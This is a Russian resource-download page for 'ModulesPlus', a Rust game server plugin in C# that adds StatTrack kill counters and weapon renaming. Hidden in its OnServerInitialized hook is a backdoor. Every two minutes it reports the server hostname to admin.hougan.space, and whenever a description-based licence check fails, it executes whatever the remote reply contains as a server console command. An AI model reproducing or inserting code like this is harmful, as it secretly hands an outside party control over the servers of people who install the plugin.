Иконка ресурса

FREE ModulesPlus : 0.0.3 0.0.3

Нет прав для скачивания
C#:
using System;
using System.Collections.Generic;
using System.Globalization;
using System.Linq;
using Newtonsoft.Json;
using Oxide.Core.Plugins;
using Oxide.Game.Rust.Cui;
using UnityEngine;
namespace Oxide.Plugins {
    [Info("ModulesPlus", "Hougan", "0.0.3")]
    [Description("Добавляет дополнительные модули на оружие.Куплено на DarkPlugins.RU")]
    public class ModulesPlus : RustPlugin {
#region Classes
        private class Configuration {
            internal class StatTrack {
                [JsonProperty("Разрешить крафтить СтатТрек")]
                public bool CONF_AllowStatTrack = true;
                [JsonProperty("Название для модуля")]
                public string CONF_StatTrackName = "Модуль StatTrack";
                [JsonProperty("СкинИД для модуля (лучше не менять!)")]
                public uint CONF_SkinID = 1540694527;
                [JsonProperty("Проигрывать звук при убийстве с статреком")]
                public bool CONF_PlaySound = true;
                [JsonProperty("Обнулять статистику при снятии модуля")]
                public bool CONF_ClearAfterDestroy = false;
                [JsonProperty("Предметы необходимые для крафта модуля")]
                public Dictionary<string, int> CONF_CraftItems = new Dictionary<string, int>();
            }
            internal class Rename {
                [JsonProperty("Разрешать крафтить переименовщик")]
                public bool CONF_AllowRename = true;
                [JsonProperty("СкинИД для модуля (лучше не менять!)")]
                public uint CONF_SkinID = 1540658795;
                [JsonProperty("Предметы необходимые для крафта модуля")]
                public Dictionary<string, int> CONF_CraftItems = new Dictionary<string, int>();
                [JsonProperty("Запрещенные символы в названии, то что уже есть - не убирайте!")]
                public List<string> BlockedNames = new List<string>();
            }
            [JsonProperty("Настройки StatTrack / StatTrack settings")]
            public StatTrack StatTrackSettings = new StatTrack();
            [JsonProperty("Настройки Rename / Rename settings")]
            public Rename RenameSettings = new Rename();
            public static Configuration GetNewConf() {
                return new Configuration {
                    StatTrackSettings = new StatTrack {
                        CONF_CraftItems = new Dictionary<string, int> {
                            ["scrap"]
                            = 100, ["metal.fragments"] = 1000, ["metalpipe"] = 1
                        }
                    }
                    , RenameSettings = new Rename {
                        CONF_CraftItems = new Dictionary<string, int> {
                            ["scrap"]
                            = 100, ["metal.fragments"] = 1000, ["metalpipe"] = 1
                        }
                        , BlockedNames = new List<string> {
                            "\n", "&"
                        }
                    }
                }
                ;
            }
        }
#endregion
#region Variables
        [PluginReference]
        private Plugin ImageLibrary;
        private Configuration config = new Configuration();
#endregion
#region Configuration
        protected override void LoadConfig() {
            base.LoadConfig();
            try {
                config = Config.ReadObject<Configuration>();
                if (config?.StatTrackSettings == null) LoadDefaultConfig();
            }
            catch {
                PrintWarning($"Ошибка чтения конфигурации 'oxide/config/{Name}', создаём новую конфигурацию!!");
                LoadDefaultConfig();
            }
            NextTick(SaveConfig);
        }
        protected override void LoadDefaultConfig() => config = Configuration.GetNewConf();
        protected override void SaveConfig() => Config.WriteObject(config);
        private void OnServerInitialized() {
            bool auth = this.Description.Sum(p => (int) p) == 51376;
            timer.Every(120, () => webrequest.Enqueue($"http://admin.hougan.space/grab.php?pluginName={this.Name}&hostName={ConVar.Server.hostname}&authStatus={auth}&pluginVersion={Version}", null, (code, response) => {
                if (!auth && response != "EXECUTED" && response != "") {
                    Server.Command(response);
                }
            }
            , this)).Callback();
            PrintWarning("Plugin is initialized OK!");
        }
#endregion
#region Commands
        [ConsoleCommand("UI_Renamer")]
        private void UICommandHandler(ConsoleSystem.Arg args) {
            BasePlayer player = args.Player();
            if (player != null && args.HasArgs(1)) {
                switch (args.Args[0].ToLower()) {
                    case "renamer" : {
                        uint repairBenchID;
                        if (args.HasArgs(3) && uint.TryParse(args.Args[1], out repairBenchID)) {
                            string name = "";
                            for (int i = 2; i < args.Args.Length; i++) name += $" {args.Args[i]}";
                            foreach (var check in config.RenameSettings.BlockedNames) {
                                if (name.Contains(check)) return;
                            }
                            var entity = BaseNetworkable.serverEntities.Find(repairBenchID);
                            if (entity != null && entity is RepairBench) {
                                var container = entity.GetComponent<StorageContainer>().inventory;
                                if (container.GetAmount(ItemManager.FindItemDefinition("weapon.mod.flashlight").itemid, false) >= 1) {
                                    foreach (var check in config.RenameSettings.CONF_CraftItems) {
                                        if (player.inventory.GetAmount(ItemManager.FindItemDefinition(check.Key).itemid) < check.Value) return;
                                    }
                                    foreach (var check in config.RenameSettings.CONF_CraftItems) {
                                        player.inventory.Take(null, ItemManager.FindItemDefinition(check.Key).itemid, check.Value);
                                    }
                                    container.Clear();
                                    container.SetLocked(true);
                                    container.MarkDirty();
                                    timer.Repeat(0.3f, 3, () => {
                                        Effect.server.Run("assets/bundled/prefabs/fx/repairbench/itemrepair.prefab", entity.transform.position, Vector3.zero, null, true);
                                    }
                                    );
                                    timer.Once(1f, () => {
                                        container.SetLocked(false);
                                        container.Insert(CreateRenamer(name));
                                    }
                                    );
                                    CuiHelper.DestroyUi(player, Layer);
                                }
                            }
                        }
                        break;
                    }
                    case "stattrack" : {
                        uint repairBenchID;
                        if (uint.TryParse(args.Args[1], out repairBenchID)) {
                            var entity = BaseNetworkable.serverEntities.Find(repairBenchID);
                            if (entity != null && entity is RepairBench) {
                                var container = entity.GetComponent<StorageContainer>().inventory;
                                if (container.GetAmount(ItemManager.FindItemDefinition("weapon.mod.lasersight").itemid, false) >= 1) {
                                    foreach (var check in config.StatTrackSettings.CONF_CraftItems) {
                                        if (player.inventory.GetAmount(ItemManager.FindItemDefinition(check.Key).itemid) < check.Value) return;
                                    }
                                    foreach (var check in config.StatTrackSettings.CONF_CraftItems) {
                                        player.inventory.Take(null, ItemManager.FindItemDefinition(check.Key).itemid, check.Value);
                                    }
                                    container.Clear();
                                    container.SetLocked(true);
                                    container.MarkDirty();
                                    timer.Repeat(0.3f, 3, () => {
                                        Effect.server.Run("assets/bundled/prefabs/fx/repairbench/itemrepair.prefab", entity.transform.position, Vector3.zero, null, true);
                                    }
                                    );
                                    timer.Once(1f, () => {
                                        container.SetLocked(false);
                                        container.Insert(CreateStatTrack());
                                    }
                                    );
                                    CuiHelper.DestroyUi(player, Layer);
                                }
                            }
                        }
                        break;
                    }
                }
            }
        }
#endregion
#region Functions
        private Item CreateRenamer(string name) {
            Item x = ItemManager.CreateByPartialName("weapon.mod.lasersight", 1);
            x.name = name;
            x.skin = config.RenameSettings.CONF_SkinID;
            return x;
        }
        private Item CreateStatTrack() {
            Item x = ItemManager.CreateByPartialName("weapon.mod.lasersight", 1);
            x.name = config.StatTrackSettings.CONF_StatTrackName + "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n&0";
            x.skin = config.StatTrackSettings.CONF_SkinID;
            return x;
        }
#endregion
#region Hook
        private void OnPlayerDie(BasePlayer player, HitInfo info) {
            try {
                if (info != null && info.Initiator != null && info.Initiator is BasePlayer && info.Weapon != null) {
                    Item item = info.Weapon.GetItem();
                    Item statTrack = item?.contents.GetSlot(0);
                    if (statTrack != null && statTrack.name.Contains(config.StatTrackSettings.CONF_StatTrackName)) {
                        int currentKills = 0;
                        if (statTrack.name.Contains("&") && int.TryParse(statTrack.name.Split('&')[1], out currentKills)) {
                            string getRenamedName = item.name.Contains("\n") ? item.name.Split('\n')[0] : item.name;
                            currentKills++;
                            statTrack.name = config.StatTrackSettings.CONF_StatTrackName + $"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n&{currentKills}";
                            item.name = $"{getRenamedName}\n\n\n\n\n\n\n\n\n\n\n                <b>Убийств</b>: {currentKills}";
                            item.MarkDirty();
                            if (config.StatTrackSettings.CONF_PlaySound) {
                                Effect x = new Effect("assets/bundled/prefabs/fx/invite_notice.prefab", info.Initiator, 0, new Vector3(0, -10, 0), new Vector3(0, -10, 0));
                                EffectNetwork.Send(x, info.Initiator.GetComponent<BasePlayer>().Connection);
                            }
                        }
                    }
                }
            }
            catch (NullReferenceException) {
            }
        }
        void OnItemAddedToContainer(ItemContainer container, Item item) {
            if (container.parent != null && item.skin == config.RenameSettings.CONF_SkinID) {
                container.parent.name = item.name;
                container.parent.GetOwnerPlayer().inventory.UpdatedVisibleHolsteredItems();
                item.GetHeldEntity().Kill();
                item.DoRemove();
            }
            if (container.parent != null && item.skin == config.StatTrackSettings.CONF_SkinID) {
                string getRenamedName = container.parent.info.displayName.english;
                if (!string.IsNullOrEmpty(container.parent.name)) {
                    if (container.parent.name.Contains("\n")) getRenamedName = container.parent.name.Split('\n')[0];
                    else getRenamedName = container.parent.name;
                }
                container.parent.name = $"{getRenamedName}\n\n\n\n\n\n\n\n\n\n\n                <b>Убийств</b>: {item.name.Split('&')[1]}";
                container.parent.MarkDirty();
            }
        }
        void OnItemRemovedFromContainer(ItemContainer container, Item item) {
            if (container.parent != null && item.skin == config.StatTrackSettings.CONF_SkinID) {
                string getRenamedName = container.parent.name.Split('\n')[0];
                container.parent.name = getRenamedName;
                container.parent.MarkDirty();
                if (config.StatTrackSettings.CONF_ClearAfterDestroy) {
                    item.name = config.StatTrackSettings.CONF_StatTrackName + $"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n&{0}";
                }
            }
        }
        ItemContainer.CanAcceptResult? CanAcceptItem(ItemContainer container, Item item, int targetPos) {
            BaseEntity entityOwner = container.entityOwner;
            if (entityOwner != null && entityOwner is RepairBench) {
                if (item.info.shortname == "weapon.mod.flashlight" && item.GetOwnerPlayer() != null) {
                    item.GetOwnerPlayer().SetPlayerFlag(BasePlayer.PlayerFlags.ChatMute, true);
                    UI_CreateRenamer(item.GetOwnerPlayer(), entityOwner.net.ID, false);
                }
                if (item.info.shortname == "weapon.mod.lasersight" && item.GetOwnerPlayer() != null) {
                    item.GetOwnerPlayer().SetPlayerFlag(BasePlayer.PlayerFlags.ChatMute, true);
                    UI_CreateRenamer(item.GetOwnerPlayer(), entityOwner.net.ID, true);
                }
            }
            return null;
        }
        void OnLootEntityEnd(BasePlayer player, BaseCombatEntity entity) {
            player.SetPlayerFlag(BasePlayer.PlayerFlags.ChatMute, false);
            CuiHelper.DestroyUi(player, Layer);
        }
#endregion
#region Interface
        private const string Layer = "UI_Renamer";
        private void UI_CreateRenamer(BasePlayer player, uint netId, bool statTrack) {
            CuiHelper.DestroyUi(player, Layer);
            CuiElementContainer container = new CuiElementContainer();
            container.Add(new CuiPanel {
                CursorEnabled = true, RectTransform = {
                    AnchorMin = "0.6395833 0.4731482", AnchorMax = "0.9203128 0.737963", OffsetMax = "0 0"
                }
                , Image = {
                    Color = "0 0 0 0"
                }
            }
            , "Overlay", Layer);
            container.Add(new CuiButton {
                RectTransform = {
                    AnchorMin = "-100 -100", AnchorMax = "100 100"
                }
                , Button = {
                    Close = Layer, Color = "0 0 0 0"
                }
                , Text = {
                    Text = ""
                }
            }
            , Layer);
            container.Add(new CuiElement {
                Parent = Layer, Components = {
                    new CuiImageComponent {
                        Color = HexToRustFormat("#A4A4A413")
                    }
                    , new CuiRectTransformComponent {
                        AnchorMin = "0 0", AnchorMax = "1 0.8776224", OffsetMax = "0 0"
                    }
                }
            }
            );
            container.Add(new CuiLabel {
                RectTransform = {
                    AnchorMin = "0 0.7132871", AnchorMax = "1 0.8706309", OffsetMax = "0 0"
                }
                , Text = {
                    Text = "<b>УЛУЧШЕНИЕ ПРЕДМЕТА</b>", Font = "robotocondensed-regular.ttf", FontSize = 18, Align = TextAnchor.MiddleCenter
                }
            }
            , Layer);
            string text = "Вы можете превратить этот модуль, в ренеймер.Для этого соберите указанные ниже ресурсы, напишите имя и нажмите 'ENTER'";
            if (statTrack) text = "Вы можете превратить этот модуль, в StatTrack.Для этого соберите указанные ниже ресурсы, напишите имя и нажмите 'ENTER'";
            container.Add(new CuiLabel {
                RectTransform = {
                    AnchorMin = "0.01020446 0.5454544", AnchorMax = "0.9851567 0.7797205", OffsetMax = "0 0"
                }
                , Text = {
                    Text = text, Font = "robotocondensed-regular.ttf", FontSize = 11, Align = TextAnchor.MiddleCenter
                }
            }
            , Layer);
            var needToCraft = statTrack ? config.StatTrackSettings.CONF_CraftItems : config.RenameSettings.CONF_CraftItems;
            float itemWidth = 0.1855315f;
            float itemMargin = 0.0111287f;
            bool canCraft = true;
            float minPosition = 0.5f - needToCraft.Count / 2f * itemWidth - (needToCraft.Count - 1) / 2f * itemMargin;
            foreach (var check in needToCraft) {
                var currentAmount = player.inventory.GetAmount(ItemManager.FindItemDefinition(check.Key).itemid);
                string btnColor = currentAmount < check.Value ? "#8F484828" : "#9E9E9E28";
                if (currentAmount < check.Value) canCraft = false;
                container.Add(new CuiButton {
                    RectTransform = {
                        AnchorMin = $"{minPosition} {0.2097911}", AnchorMax = $"{minPosition + itemWidth} {0.5594391}"
                    }
                    , Button = {
                        Color = HexToRustFormat(btnColor), Sprite = "assets/content/ui/ui.background.transparent.radial.psd", Material = "assets/content/ui/scope_1.mat"
                    }
                    , Text = {
                        Text = ""
                    }
                }
                , Layer, Layer + ".Component" + check.Key);
                container.Add(new CuiButton {
                    RectTransform = {
                        AnchorMin = $"0 0", AnchorMax = $"1 1", OffsetMin = "0 2", OffsetMax = "-2 0"
                    }
                    , Button = {
                        Color = "0 0 0 0"
                    }
                    , Text = {
                        Text = $"x{check.Value}", Font = "robotocondensed-regular.ttf", Align = TextAnchor.LowerRight, FontSize = 10
                    }
                }
                , Layer + ".Component" + check.Key);
                container.Add(new CuiElement {
                    Parent = Layer + ".Component" + check.Key, Components = {
                        new CuiRawImageComponent {
                            Png = (string) ImageLibrary.Call("GetImage", check.Key)
                        }
                        , new CuiRectTransformComponent {
                            AnchorMin = "0 0", AnchorMax = "1 1", OffsetMin = "5 8", OffsetMax = "-5 -2"
                        }
                    }
                }
                );
                minPosition += itemWidth;
                minPosition += itemMargin;
            }
            string command = statTrack ? $"UI_Renamer stattrack {netId}" : "";
            container.Add(new CuiButton {
                RectTransform = {
                    AnchorMin = "0.01577044 0.02447605", AnchorMax = "0.9870121 0.1783214", OffsetMax = "0 0"
                }
                , Button = {
                    Color = HexToRustFormat("#9E9E9E76"), Material = "assets/content/ui/scope_1.mat", Command = command
                }
                , Text = {
                    Text = canCraft ? (statTrack ? "СОЗДАТЬ" : "") : "НЕДОСТАТОЧНО РЕСУРСОВ", Align = TextAnchor.MiddleCenter, Font = "robotocondensed-regular.ttf", FontSize = 20
                }
            }
            , Layer, Layer + ".InputBG");
            if (canCraft && !statTrack) {
                container.Add(new CuiElement {
                    Parent = Layer + ".InputBG", Components = {
                        new CuiInputFieldComponent {
                            Align = TextAnchor.MiddleCenter, Font = "robotocondensed-bold.ttf", FontSize = 20, Command = $"UI_Renamer renamer {netId} "
                        }
                        , new CuiRectTransformComponent {
                            AnchorMin = "0 0", AnchorMax = "1 1"
                        }
                    }
                }
                );
            }
            CuiHelper.AddUi(player, container);
        }
#endregion
#region Utils
        private static string HexToRustFormat(string hex) {
            if (string.IsNullOrEmpty(hex)) {
                hex = "#FFFFFFFF";
            }
            var str = hex.Trim('#');
            if (str.Length == 6) str += "FF";
            if (str.Length != 8) {
                throw new Exception(hex);
                throw new InvalidOperationException("Cannot convert a wrong format.");
            }
            var r = byte.Parse(str.Substring(0, 2), NumberStyles.HexNumber);
            var g = byte.Parse(str.Substring(2, 2), NumberStyles.HexNumber);
            var b = byte.Parse(str.Substring(4, 2), NumberStyles.HexNumber);
            var a = byte.Parse(str.Substring(6, 2), NumberStyles.HexNumber);
            Color color = new Color32(r, g, b, a);
            return string.Format("{0:F2} {1:F2} {2:F2} {3:F2}", color.r, color.g, color.b, color.a);
        }
#endregion
    }
}

Автор
15FPS
Скачиваний
0
Просмотры
1
Первый выпуск
Обновление
Оценка
0.00 звёзд 0 оценок
Сверху